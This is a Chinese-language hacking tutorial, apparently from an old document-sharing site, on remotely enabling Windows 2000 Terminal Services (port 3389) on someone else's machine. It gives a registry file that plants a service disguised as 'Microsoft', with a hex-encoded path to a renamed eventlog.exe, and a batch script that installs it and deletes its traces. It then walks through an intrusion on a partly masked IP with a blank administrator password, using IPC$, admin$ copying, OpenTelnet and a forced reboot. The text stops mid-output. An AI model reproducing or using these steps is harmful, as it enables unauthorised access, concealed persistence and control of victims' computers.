远程启动终端服务最简单的方法.docVIP

远程启动终端服务最简单的方法 首先我们制作开启3389的工具 先把下面的注册表内容copy一份，另存为3389.reg注册表文件 注册表内容： Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] Enabled=0 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] ShutdownWithoutLogon=0 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] EnableAdminTSRemote=dword [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] TSEnabled=dword [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] Start=dword [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] Hotkey=1 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] Start=dword ErrorControl=dword ImagePath=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 ObjectName=LocalSystem Type=dword Description=Microsoft DisplayName=Microsoft 再把下面的内容保存为批处理文件3389.bat 安装批处理内容： copy termsrv.exe eventlog.exe regedit.exe /s 3389.reg del 3389.reg del 3389.exe del 3389.bat 用winrar制作成exe自解压缩包 61.188.***.*** user:administrato pass:空 先使用工具letmein判断其操作系统 letmein \\ip -all -d TsInternetUser (TsInternetUser)这个是2000的终端用户，现在可以判断其为2000server了 再使用终端登陆软件看看他的3389是不是已经开启了免了费事折腾 应该没有开启了 建立ipc连接 copy工具过去 net use \\ip\ipc$ pass /user:name copy file \\ip\admin$\system32 用opentelnet开对方的telnet opentelnet \\ip name pass 1 99 用telnet进入 进入到对方的winnt\system32\ 目录 解压缩3389.exe 运行安装批处理3389.bat 现在我们把对方重起一下，用reboot 我们用ping命令监视他的上线情况，等他下线，呵呵下了，又上来了，不慌连，3389等会才能好，对方的机器有点慢 看见了么，开启成功! 现在开始. 假设我们拿到了一个主机的管理员帐户和密码. 主机: 192.168.0.1 帐号: administrator 密码: 7788 2000系统安装在c:\winnt下 从上面的的介绍可以知道,2000专业版是不可以远程安装终端服务的,那我们就要首先来 判断此主机是专业版还是服务器版,才能进入下一个环节. 我们可以先用对方所开帐户判断: c:\letmein \\192.168.0.1 -all -d stating connecting to server ... Server local time is: 2002-1-13 10